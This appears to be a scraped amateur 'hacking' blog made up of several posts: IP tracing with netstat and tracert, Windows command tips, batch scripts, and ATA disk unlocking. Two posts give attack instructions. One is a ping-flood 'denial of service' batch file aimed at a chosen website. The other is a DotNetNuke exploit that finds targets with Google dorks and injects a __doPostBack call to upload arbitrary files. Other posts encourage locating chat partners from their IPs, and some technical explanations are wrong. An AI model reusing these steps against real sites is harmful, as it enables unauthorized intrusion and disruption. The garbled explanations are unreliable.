hackers are back!

Tracking geo. Location through ip.

2012-04-14T02:07:00.001-07:00

RSS Go4Expert RSS FeedRSS Go4Expert - Ethical hacking - RSS Feed
nextLike1k
Search Search Discount Coupons Newsletter DMCA
Programming and SEO Forums > Go4Expert > Articles / Source Code > Ethical hacking
TRACING an IP
User Name Remember Me?
Password Log in
Register G4EF Links FAQ Members List Calendar Search Today's Posts Mark Forums Read
Send to Google_plusone More
Page 1 of 2 1 2 >
Bookmarks Article Tools Search this Article Display Modes
TRACING an IP
By XXxxImmortalxxXX On 4th July, 2008
TRACING an IP
ADVERTISEMENT
Author Recent Articles Similar Articles
XXxxImmortalxxXX ( Invasive contributor )
Yet to provide details about himself
All articles By XXxxImmortalxxXX
Introduction
In here I have figure out some very easy but cool ways to trace out the geographical location and various other infos like ISP details etc of a remote computer using its IP.
Well I guess its one of the most important must learn manul for boys out there if you want to impress your friends particularly gals whom you’ll meet online in achat room and tell them their geographical locations and ISP details and make them surprisedand impressed J.
In the practical execution of thismanual you don’t have to work much as it is very simple only you have to use your brain to understand some symbols and some format of expressions and use your IQ to execute things the right way.
What is IP and how to get the IP of a remotesystem
Getting the IP or Internet Protocol of a remote system is the most important and the firststep of hacking into it. Probably it is the first thing a hacker do to get info for researching on a system. Well IP is a unique number assigned to each computer on a network. It is thisunique address which representsthe system on the network. Generally the IP of a particular system changes each time you log on to the network by dialing to your ISP and it is assigned to you by your ISP. IP of a system which is always on the network remains generally the same. Generally those kind of systems are most likely to suffer a hacking attack because of its stable IP. Using IP you can even execute system commands on the victim’s computer.
Lets take the example of the following IP address: 202.144.49.110Now the first part, the numbers before the first decimal i.e. 209 is the Network number or the NetworkPrefix.. This means that it identifies the number of the network in which the host is. The second part i.e. 144 is the Host Number that is it identifies the number of the host within the Network. This means that in the same Network, the network number is same. In order to provide flexibility in the size of the Network, here are different classes of IP addresses:
Code:
Address Class DottedDecimal Notation RangesClass A ( /8 Prefixes) 1.xxx.xxx.xxxthrough 126.xxx.xxx.xxxClass B ( /16 Prefixes) 128.0.xxx.xxxthrough 191.255.xxx.xxxClass C ( /24 Prefixes) 192.0.0.xxxthrough 223.255.255.xxx The various classes will be clearer after reading the next few lines.
Each Class A Network Address contains a 8 bit Network Prefix followed by a 24-bit host number. They are considered to be primitive. They are referred to as "/8''s" or just "8's" as they have an 8-bit Network prefix.
In a Class B Network Address there is a 16 bit Network Prefix followed by a 16-bit Host number. It is referred to as"16's".
A class C Network address contains a 24-bit Network Prefixand a 8 bit Host number. It is referred to as
"24's" and is commonly used by most ISP's.
Due to the growing size of the Internet the Network Administrators faced many problems. The Internet routing tables were beginning to grow and now the administrators had to request another network number from the Internet before a new network could be installed at their site. This is where sub-netting came in.
Now if your ISP is a big one and if it provides you with dynamic IPaddresses then you will most probably see that whenever youlog on to the net, your IP address will have the same first 24 bits and only the last 8 bits will keep changing. This is due to the fact that when sub-netting comes in then the IP Addresses structure becomes:
xxx.xxx.zzz.yyy
where the first 2 parts are Network Prefix numbers and thezzz is the Subnet number and the yyy is the host number. So you are always connected to the same Subnet within the same Network. As a result the first 3 parts will remain the same and only the last part i.e. yyy is variable.
***********************
For Example, if say an ISP xyz is given the IP: 203.98.12.xx Network address then you can be awarded any IP, whose first three fields are 203.98.12. Get it?
So, basically this means that each ISP has a particular range in which to allocate all its subscribers. Or in other words, all subscribers or all people connected to the internet using the same ISP, will have to be in this range. This in effect would mean that all people using the same ISP are likely to have the same first three fields of their IPAddresses.
This means that if you have done a lot of (By this I really mean a lot) of research, then you could figure out which ISP a person is using by simply looking at his IP. The ISP name could then be used to figure out the city and the country of the person. Right? Let me take an example to stress as to how cumbersome but easy (once the research is done) the above method can be.
In my country, say there are three main ISP’s:
Code:
ISP Name Network Address AllottedISP I 203.94.47.xxISP II 202.92.12.xxISP III 203.91.35.xx Now, if I get to know the IP of an e-pal of mine, and it reads: 203.91.35.12, then I can pretty easily figure out that he uses ISP III to connect to the internet.Right? You might say that any idiot would be able to do this. Well, yes and no. You see, the above method of finding out theISP of a person was successful only because we already had theISP and Network Address Allotted list with us. So, what mypoint is, that the above method can be successful only after a lot of research and experimentation. And, I do think such research can be helpful sometimes.
Also, this would not work, if you take it all on in larger scale. What if the IP that you have belongs to someone living in a remote igloo in the North Pole? You could not possibly get the Network Addresses of all the ISP’s in the world, could you? If yes please send it to me J.
Well now I guess you have pretty good knowledge about what an IP is and what you can do by knowing the IP of a remote system. Now lets come to the point of finding out the IPof remote system.
Well you can easily figure out the IP of a remote system using the netstat utility available in the microsoft’s version of DOS. The netstat command shows theconnections in which your system is engaged to and the ports they are using. Suppose you are checking your mail in hotmail and you want to find outthe IP of msn. All you need to dois to open a dos window (command.com) and type netstat. You will see all the openconnections of your system. There you will see something :
Code:
Proto Local Address Foreign Address State TCP abhisek:1031 64.4.xx.xx:80 ESTABLISHED Now you got the IP address of hotmail *** 64.4.xx.xx .
Similarly you can figure out the IP address of most http or ftp connections.
To know your own IP type the following command in a dos windows
C:\netstat –n
[this commands converts the IP name into IP addresses]
this is what you will probably seeon typing the above command :
Code:
Proto Local Address Foreign Address State TCP 203.xx.251.161:1031 194.1.129.227:21 ESTABLISHED TCP 203.xx.251.161:1043 207.138.41.181:80 FIN_WAIT_2 TCP 203.xx.251.161:1053 203.94.243.71:110 TIME_WAIT TCP 203.xx.251.161:1058 194.1.129.227:20 TIME_WAIT TCP 203.xx.251.161:1069 203.94.243.71:110 TIME_WAIT TCP 203.xx.251.161:1071 194.98.93.244:80 ESTABLISHED TCP 203.xx.251.161:1078 203.94.243.71:110 TIME_WAIT Here 203.xx.251.161 is your IP address.
Now lets clarify the format used by netstat :
Proto : It shows the type of protocol the connection with theremote system is using.
Here TCP (transmission control protocol) is the protocol used bymy system to connect to other systems.
Local Address : It shows the localaddress ie the local IP. When the netstat command is executed without –n switch then the name of the local system is displayed and when the netstat is executed with –n switch then the IP of the local system is displayed. Here you can also find out the port used by the connection.
xxx.yyy.zzz.aaa:1024
in this format you will see the local address. Here 1024 is the port to which the remote system is connected in your system
Foreign Address :: It shows the IPaddress of the remote system to which your system is connected. In this case also if the netstat command is excutedwith –n switch then you directly get the IP of the victim but if the netstat is executed without –n switch then you will get the address of the remote system. Something like
C:\netstat
Proto Local Address Foreign Address State
TCP abhisek:1031 msgr.lw4.gs681.hotmail.com:80ESTABLISHED
Here msgr.lw4.gs681.hotmail.comis the address of the foreign system . putting this address in any IP lookup program and doinga whois lookup will reveal the IP of the remote system.
Note: The port to which your system is connected can be found from this in the same wayas I have shown in the case of local address. The difference is that, this is the port of the remote system to which your computer is connected to.
Below I have produced a list of ports and popular services generally found to be running.
21 :: FTP port
80 :: http port
23 :: Telnet port
Note: If your execute the netstat command and find ports like 12345,27374 are open and are in use then make it sure that your sweat heart computeris infected with her boyfriend.. J J J J I mean your computer is infected with some sort of Trojan.
Below I have produced a list of commonly known Trojans and the ports they use by default. So if you find these ports open then get a good virus buster and get these stupid servers of the Trojans kicked out. Well if you want to play with these Trojan by keeping them in your computer but not letting them ruin your system performance then just disble it from the system registry run and they wont be loaded to memory each time when windows starts up[This trick doesn’t work for allTrojans].
Code:
Netbus :: 12345(TCP)Subseven :: 27374(TCP)Girl Friend :: 21554(TCP)Back Oriface :: 31337 (UDP) Well guys and gals I hope you are now well familiar with the term IP and what is the utility ofIP in cyber world and how to getthe IP of a remote system to which you are connected. I hope you find my writings very easy to undertstand. I know I lack thecapacity of explaining myself butI try my level best to make things very easy and clear for you’ll.
How to get the IP of a remote system while chatting through msn messenger ::
This is a tutorial on how to get IP address from MSN messenger. This is actually a really easy thing to do. It is not like going through the hard time and reversing MSN messenger like many people think.
The IP address is only given when you accept or are sending a file through MSN messenger. When you send IM's, the messageis sent through the server thus hiding your victims IP and your. But when you send a file or recieve a file, it is direct connection between the two computers.
To obtain the IP accept a file transfer or send a file to the victim, when the file sending is under way from the dos prompt type "netstat" without the quotation marks. You should get a table like this:
Proto Local Address Foreign Address State
TCP kick:1033 msgr-ns29.msgr.hotmail.com:1863ESTABLISHED
TCP kick:1040 msgr-sb36.msgr.hotmail.com:1863ESTABLISHED
TCP kick: ESTABLISHED
The top name in the list is the server's address for IMing. Therecould be many of the second name in the list, as a new connection is made to the server for every room you are IMing to. You are looking for the address of the remote host in this table it may be something similar to"host63-7-102-226.ppp.cal.vsnl.com" or “203..64.90.6”. without the quotation marks.
All you need to do now is to put this address in you IP lookup programe and get the IP of the remote system.
Well 50%of the work is done now. Now you know how to get the IP of a remote system, so itstime to trace it down and find some details about the IP.
Tracing an IP is quite simple. You can do it the easy way by using some sweet softwares like VisualTrace 6.0b
ftp://ftp.visualware.com/pub/vr/vr.exe
Neotrace
http://www.neoworx.com/download/NTX325.exe
or by our way ie. Using MS DOS or any other version of DOS.
Well I suggest you to use DOS and its tracert tool for tracing the IP cause using it will give youa clear conception about the artof tracing an IP and I guarantee that you will feel much satisfied on success than using a silly software. Furthur you will know how things work and how the IP is traced down and the differentnetworks associated in this tracing process.
Let us take a look at tracert tool provided for DOS by Microsoft.
It is a very handy tool for peoples need to trace down an IP.
Just open any DOS windows and type tracert.
C:\windows>tracert
Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
Code:
Options: -d Do not resolveaddresses to hostnames. -h maximum_hops Maximum number of hops to search for target. -j host-list Loose source route along host-list. -w timeout Wait timeoutmilliseconds for each reply. You will now see a description ofthe tracert command and the switches associated with it.
Well these switches doesn’t makes much difference. All you can do is to increase the timeout in milliseconds by using –w switch if you are using a slowconnection and the –d switch if you wish not resolve address to hostnames by default.
By default tracert performs a maximum of 30 hops trace. Usingthe –h switch you can specify the number of hops to perform.
Now its time for execution.
Let us trace down the IP yahoo.com[216.115.108.243]
TIP: If you have done a long research (I mean a lot) then simply looking at the IP you can figure out some info from it. For example the IP 203.90.68.8indicates that the system is in India. In India IPs generally begin with 203 and 202
C:\WINDOWS>tracert yahoo.com
Tracing route to yahoo.com[216.115.108.243] over a maximum of 30 hops:
Code:
1 308 ms 142 ms 127 ms 203.94.246.35 2 140 ms 135 ms * 203.94.246.1 3 213 ms 134 ms 132 ms 203.94.255.33 4 134 ms 130 ms 129 ms 203.200.64.29 5 122ms 135 ms 131 ms 203.200.87.75 6 141 ms 137 ms 121ms 203.200.87.15 7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241] 8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net[207.45.198.65] 9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]10 * * * Request timed out.11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net[64.86.83.205]12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net[207.45.202.33]13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com[216.115.100.150]15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com[216.115.100.225]16 666 ms 676 ms 674 ms yahoo.com[216.115.108.243]Trace complete. Note: Here I have traced yahoo.com. In place of yahoo.comyou can give the IP ofyahoo or any other IP you want to trace, the result will be the same.
Now carefully looking at the results you can figure out many information about yahoo’s server [216.115.108.243]
First packets of data leave my ISP which is at 203.94.246.35.Similarly you can find out the different routers through which the packets of data are send and received to and from the target system. Now take a look at the 13th line you’ll see that the router is in PaloAlto.Teleglobe.netfrom this you can easily figure out that the router is in Palo Alto. Now finally look at the target systemie. Yahoo’s server vl20.bas1.snv.yahoo.com. Now you got the address of yahoo’s server. Now put this address in any IP lookup programe and perform and reverse DNS lookupand you will get most of the infoabout this address,like the placewhere it is in.
Well another thing you can find out using the tracert tool is that the number of hops (routers) the target system is away from you. In case of tracerouting yahoo.comwe find that the target system ie yahoo’s server is 16 hops away from my system. This indicates that there are 16 routers between my system and yahoo’sserver.
Apart from tracing an IP you canfind out many usefull details about the target system using the tracert tool.
Firewall Detection
While tracerouting a target system, if you get * as an output then it indicates timeout error. Now if you peform another tracerout to the same taeget system at some other time with a good connection andin this way few times more and if you always get * as the output then take it for sure that the target system is running a firewall which preventssending of data packets from the target system.
Example
Some days ago I tried to tracerthotmail’s server in plain and simple way using tracert withoutany trick.This is what I found out:
c:\windows>tracert 64.4.53.7
Tracing route to lc2.law5.hotmail.com[64.4.53.7]
over a maximum of 30 hops:
Code:
1 * * * Request timed out. 2 161 ms 147 ms 85 ms 203.90.69.81 3 126 ms 261 ms 219 ms 203.90.66.9 4 121 ms 115 ms 228 ms delswp2.hclinfinet.com[203.90.66.133] 5 727 ms 725 ms 711 ms 203-195-147-250.now-india.net.in [203.195.147.250] 6 1006 ms 794 ms 952 ms core-fae-0-0.now-india.net.in [203.195.147.3] 7 826 ms 731 ms 819 ms 213.232.106.9 8 885 ms 744 ms 930 ms 213.166.3.209 9 851 ms 1020 ms 1080 ms 213.232.64.5410 1448 ms 765 ms 1114 ms pos8-0.core2.London1.Level3.net[212.113.0.118]11 748 ms 789 ms 750 ms ge-4-2-1.mp2.London1.Level3.net[212.187.131.146]12 719 ms 733 ms 846 ms so-3-0-0.mp1.London2.Level3.net[212.187.128.46]13 775 ms 890 ms 829 ms so-1-0-0.mp2.Weehawken1.Level3.net [212.187.128.138]14 853 ms 852 ms 823 ms so-3-0-0.mp1.SanJose1.Level3.net[64.159.1.129]15 889 ms 816 ms 803 ms so-7-0-0.gar1.SanJose1.Level3.net [64.159.1.74]16 * * * Request timed out.17 * * * Request timed out.18 * * * Request timed out.19 * * * Request timed out.20 * * * Request timed out.21 * * * Request timed out.22 * * * Request timed out.23 * * * Request timed out.24 * * * Request timed out.25 * * * Request timed out.26 * * * Request timed out.27 * * * Request timed out.28 * * * Request timed out.29 * * * Request timed out.30 * * * Request timed out.Trace complete. I performed the same tracert many times a day but concluded with the same result. This indicates that the systems afterthe router SanJose1.Level3.nethas firewalls installed which prevents the outgoing of data packets.
Detecting Traceroute Attempts on your System
You can detect that an attackeris performing a traceroute on your system, if you see the following symptoms:
1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.
2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then itis yet another sign that someone is doing a traceroute on your system.
3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.
You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:
1. The Operating System runningon the attacker’s target system.
2. Number of hops away, the attacker is from you.
OKI DOKI that’s all for this article.Hope you will find this article very easy to understand and implement.
Tell the World ...Like7
Tweet
Send to Google_plusone
Further Reading ...
*. Ethical Hacking Class Part 3 , by XXxxImmortalxxXX in Ethical hacking
*. Ethical Hacking Class part 2 , by XXxxImmortalxxXX in Ethical hacking
*. How to change IP using Batch File , by nimesh in Windows
*. Linking your Xbox to your pc , by XXxxImmortalxxXX in Ethical hacking
*. IP Addresses Explained , by Janu in Engineering concepts
next

Intresting cool google funny stuff...

2012-02-22T22:49:00.000-08:00

type these dorks in google one by one and see the magic

1.Google Gravity
2.Google Sphere
3.Google Loco
4.Annoying Google
5.Epic Google
6.Google Gothic
7.Google Pacman
8.Who's The Cutest
9.Google Pirate
10.Google Hacker
11.Google Rainbow
12.Google Reverse or Google Reverse
13.let it snow
14.elggog
15.do a barrel roll
16.who's awesome
17.tilt
18.lol limewire
19.google heart page
20.google magic
21.google(color name)
22.epic box
23.sexy snape
24.weenie google

these are tricks are work in google i'm feeling lucky button

fro eg(google hacker in search box and press i'm feeling lucky button)

create ur own instant chating messanger?

2012-02-22T22:45:00.002-08:00

Hi, frndz want to create ur own instant messanger so....

type this coding in ur notepad and save it as (xxx.bat)
this is a coding for create ur own messanger.

first of all u need ur frnd ip adress to instant chat by type this(netstat -n) using face book chat in cmd,when u got ip open ur xxx file and type ip adress in ur xxx file and wait for connecting and start chat instantly.....

@echo off
:A
Cls
echo MESSENGER
set /p n=Message
set /p m=Message
net send %n% %m%
pause
goto A

Top 10 commands.....

2012-02-22T22:36:00.001-08:00

Hi, frndz in the field of hacking ur have to learn ms-dos commands .and these commands are useful in hacking.....
top 10 importent commands

1. ipconfig :
This is the top most command for seeing the ip address,subnet mask and default gateway also includes display and flush DNS cache, re-register the system name in DNS.. This will most useful tool for viewing and troubleshooting TCP/IP problem.

* To view ip ,subnet mask address : ipconfig
**To view all TCP/IP information, use: ipconfig /all
***To view the local DNS cache, use: ipconfig /displaydns
****To delete the contents in the local DNS cache, use: ipconfig /flushdns

2.systeminfo
Have a need to display operating system configuration information for a local or remote machine, including service pack levels? Then systeminfo is the tool to use. When I need to connect to a system that I am not familiar with, this is the first tool I run. The output of this command gives me all the info I need including: host name, OS type, version, product ID, install date, boot time and hardware info (processor and memory). Also knowing what hot fixes are installed can be a big help when troubleshooting problems. This tool can be used to connect to a machine remotely using the following syntax: SYSTEMINFO /S system /U user

3. tasklist and taskkill
If you work with Task Manager (ctrl+alt+del) ,you can easily understand this. Task list is list of task which are running on windows currently. If you open any application,it will be added to task.

To List the Tasks type in cmd as :

tasklist
This will show the list of task which are running as shown in the picture

To stop the Process or task ,there is two methods :
Using Image Name:
We can kill the task using its Image Name as follows:
tasklist /im notepad.exe

Using Process Id:
we can stop the process using its process id as follows :
tasklist /pid 1852

4. type
type is used to read the text document in command prompt . You can read multiple text in continuously

type filename.txt

5.netstat
Need to know who (or what) is making a connection to your computer? Then netstat is the tool you want to run. The output provides valuable information of all connections and listening ports, including the executable used in the connections. In additon to the above info, you can view Ethernet statistics, and resolve connecting host IP Addresses to a fully qualified domain name. I usually run the netstat command using the -a (displays all connection info), -n (sorts in numerical form) and -b (displays executable name) switches.

6.net command
Although this tool is more known as a command, the net command is really like a power drill with different bits and is used to update, fix, or view the network or network settings.
It is mostly used for viewing (only services that are started), stopping and starting services:
net stop server
net start server
net start (display running services)
and for connecting (mapping) and disconnecting with shared network drives:
net use m: \\myserver\sharename
net use m: \\myserver\sharename /delete
Other commands used with net command are, accounts (manage user accounts), net print (manage print jobs), and net share (manage shares).
Below are all the options that can be used with the net command.
[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |HELPMSG | LOCALGROUP | PAUSE | PRINT | SESSION | SHARE | START |STATISTICS | STOP | TIME | USE | USER | VIEW ]

7.nslookup
With the Internet, DNS (Domain Name Service) is the key for allowing us to use friendly names when surfing the web instead of needing to remember IP Addresses. But when there are problems, nslookup can be a valuable tool for testing and troubleshooting DNS servers.
Nslookup can be run in two modes: interactive and noninteractive. Noninteractive mode is useful when only a single piece of data needs to be returned. For example, to resolve google.com:

To use the interactive mode, just type nslookup at the prompt. To see all available options, type help while in interactive mode.

Don't let the help results intimidate you. Nslookup is easy to use. Some of the options I use when troubleshooting are:
set ds (displays detailed debugging information of behind the scenes communication when resolving an host or IP Address).
set domain (sets the default domain to use when resolving, so you don't need to type the fully qualified name each time).
set type (sets the query record type that will be returned, such as A, MX, NS)
server NAME (allows you to point nslookup to use other DNS servers than what is configured on your computer)
To exit out of interactive mode, type exit .

8. ping and tracert
These tools can be helpful with connectivity to other systems. Ping will test whether a particular host is reachable across an IP network, while tracert (traceroute) is used to determine the route taken by packets across an IP network.
To ping a system just type at the prompt: ping www.google.com. By default, ping will send three ICMP request to the host and listen for ICMP “echo response” replies. Ping also includes switches to control the number of echo requests to send (-n ), and to resolve IP addresses to hostname (-a ).
To use tracert, type at the prompt: tracert www.google.com. You can force tracert to not resolve address to hostnames by using the -d switch, or set the desired timeout (milliseconds) for each reply using -w switch.

9.gpresult

- Used mostly in environments that implement group poicies, gpresults (Group Policy Results) verifies all policy settings in effect for a specific user or computer. The command is simple to use, just enter gpresults at the prompt. It can also be used to connect to computers remotely using the /S and /U switches.

10.netsh

Without a doubt the most powerful command line tool available in Windows. Netsh is like the swiss army knife for configuring and monitoring Windows computers from the command prompt. It capabilities include:
Configure interfaces
Configure routing protocols
Configure filters
Configure routes
Configure remote access behavior for Windows-based remote access routers that are running the Routing and Remote Access Server (RRAS) Service
Display the configuration of a currently running router on any computer
Some examples of what you can do with netsh:
Enable or disable Windows firewall:
netsh firewall set opmode disable
netsh firewall set opmode disable
Enable or disable ICMP Echo Request (for pinging) in Windows firewall:
netsh firewall set icmpsetting 8 enable
netsh firewall set icmpsetting 8 disable
Configure your NIC to automatically obtain an IP address from a DHCP server:
netsh interface ip set address "Local Area Connection" dhcp

how to create ur own ip finder?

2012-01-08T04:06:00.000-08:00

hey frndz.. want to create ur own ip finer ,if yes
copy this coding and save it into notead andsaveit likexxx.bat (in .bat extension)

@title IP Finder - Created By Sahil Mehra & color F2
:Coding
@cls
@echo off & break off & @setlocal enabledelayedexpansion
@echo.
@echo ³³³³³³³³³³³³³³³³³ÉÍÍÍÍÍÍÍÍÍÍÍ»³³³³³³³³³³³³³³³³³
@echo ³³³³³³³³³³³³³³³³³º IP Finder º³³³³³³³³³³³³³³³³³
@echo ³³³³³³³³³³³³³³³³³ÈÍÍÍÍÍÍÍÍÍÍÍ¼³³³³³³³³³³³³³³³³³
@echo.

@set /p Website=Type Website URL Here :
@for /f "tokens=3" %%Z in ('ping %Website%^| find "["') do (
@for /f "tokens=* delims=" %%J in ("%%Z") do (
@set ip=%%J & @set ip=!ip:[=!
@set ip=!ip:]=! & @set ip_Website=!ip!
)
)
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo Website Address: %Website%
@echo IP Address: %ip_Website% & @echo. & @echo Press { ENTER } to continue...
@pause > nul
goto Coding

thnks....

how to hack a website by using cmd?

2012-01-08T04:03:00.000-08:00

hlo,frndz i'm going to show u how to hack a website by using cmd or using deniel service attack
frst of all what is deniel service attack it means when a website get more data from its capacity and it crashed this is called deniel service attack
for this attack u have a great internet speed bcoz if ur pc has slow speed u havebeen traced by host and u gone to jail
step 1.press wni key+r for run and type cmd for command prompt
2.when cmd open type ping www.sitename.com which u want to crashed or down
3.then it show its ip
4.open notepadand type "ping www.sitename.com-t-l65500 " and save it xxx.bat
5.open the notepad file and it take some time it show "request timed out" but wait and it show its result....

note: in my way do'nt take any risk and i'm not responsibli for any hacking purpose....

How to trace a web site location by its ip adress ?

2012-01-08T03:45:00.000-08:00

Hi frndz my best topic in hacking is track or trace a web site
today's my topic is trace a website ip and track its location
first of all go to start>run, type cmd and enter or simply open notepad and type command.com and save it into anything.bat or by pressing windows key+r
when cmd open then type"www.sitename.com which u want to trace.
it takes several minutes when its end in last u see its ip like in box[00.11.22.33]
mark or copy the ip adress and goto www.ipadress.com or www.whatismyip.com .when the website opens there come a box type the ip adress in the box and press track or trace button ...
thnks, for this upgrde ur internet speed

How to Hack a website by using DOT NET NUKE Attack?

2012-01-07T21:10:00.000-08:00

Hi, frndz today i am going to show u very intrestin post on hack a web site by dot net nuke ...
for this hack u have to find a vulnerale site..(which is able to hack and which have small no. of security)
for find a vulnerable site go to google.com and type "inurl:tabid/1500/default.aspx
or "inurl:/portals/0 site:.com
u also find more dorks from www.googleuncle.com ok
when u find a vulnerable site edit its url like e.g: www.sitename.com to "www.sitname.com/providers/html/editorproviders/fck/fcklinkgallery.aspx"
or "www.sitname.com/providers/htmleditorproviders/fck/fcklionkgallery.aspx"
without quotes. there come a box .when there come an option box then change the url into javascript erase all url and type javascript:__dopostback('ctlURL$cmdupload',") and press enter
then there u see a upload button in hat option . upload ur jpeg or text file and pree upload button. congrates u hack a website.....
for see ur file type (www.sitename.com/portls/0/your-file-name.file-extension and enter
thanks
i'm waiting for ur good comments for any help e-mial at rap.star55@yahoo.in

for this u have a good internet speed....

ow to crack/unlock locked hdd (hard disk) password?

2011-11-06T03:11:00.000-08:00

Ok guys, here is a simple n effective way to crack/unlock a locked hdd/harddisk

password. So lets check it out...
During development of the Rockbox firmware, on several occations the
harddisk has become locked, i.e. password protected. This results in
the Archos displaying:

Part. Error
Pls Chck HD

We are still not 100% sure why it happened. Theories range from
low-power conditions to accidental chip select failure. It has also
happened for normal users, using the standard Archos-supplied
firmware, although it was more frequent for us developers.

Note: None of us developers have experienced this problem since march 2002.

We do however know how to unlock the disk:

Windows/DOS unlock
Note: This requires taking the Archos apart, which will void your warranty!

Grab atapwd
Create a bootable DOS floppy disk, and put atapwd.exe on it
Remove the harddisk from your Archos and plug it into a laptop (or a
standard PC, using a 3.5" => 2.5" IDE adapter)
Boot from the floppy and run atapwd.exe
Select the locked harddrive and press enter for the menu
For Fujitsu disks: Choose "unlock with user password", then "disable
with user password". The password is empty, so just press enter at the
prompt.
For Toshiba and Hitachi disks, if the above doesn't work: Choose
"unlock with master password", then "disable with master password".
The password is all spaces.
Your disk is now unlocked. Shut down the computer and remove the disk.
Big thanks to Magnus Andersson for discovering the Fujitsu (lack of)
user password!

There is also a program for win32, ArchosUnlock.exe, that creates a
linux boot disk with the below mentioned patched isd200 driver.

Linux unlock
For those of us using Linux, we have written an isd200 driver patch.

This modified driver will automatically unlock
the disk when you connect your Archos via USB, so you don't have to do
anything special. Apply the patch to a 2.4.18 linux kernel tree.

Still locked?
If the above suggestions don't work, here's some background info about
the disk lock feature:

The disk lock is a built-in security feature in the disk. It is part
of the ATA specification, and thus not specific to any brand or
device.

A disk always has two passwords: A User password and a Master
password. Most disks support a Master Password Revision Code, which
can tell you if the Master password has been changed, or it it still
the factory default. The revision code is word 92 in the IDENTIFY
response. A value of 0xFFFE means the Master password is unchanged.

A disk can be locked in two modes: High security mode or Maximum
security mode. Bit 8 in word 128 of the IDENTIFY response tell you
which mode your disk is in: 0 = High, 1 = Maximum.

In High security mode, you can unlock the disk with either the user or
master password, using the "SECURITY UNLOCK DEVICE" ATA command. There
is an attempt limit, normally set to 5, after which you must power
cycle or hard-reset the disk before you can attempt again.

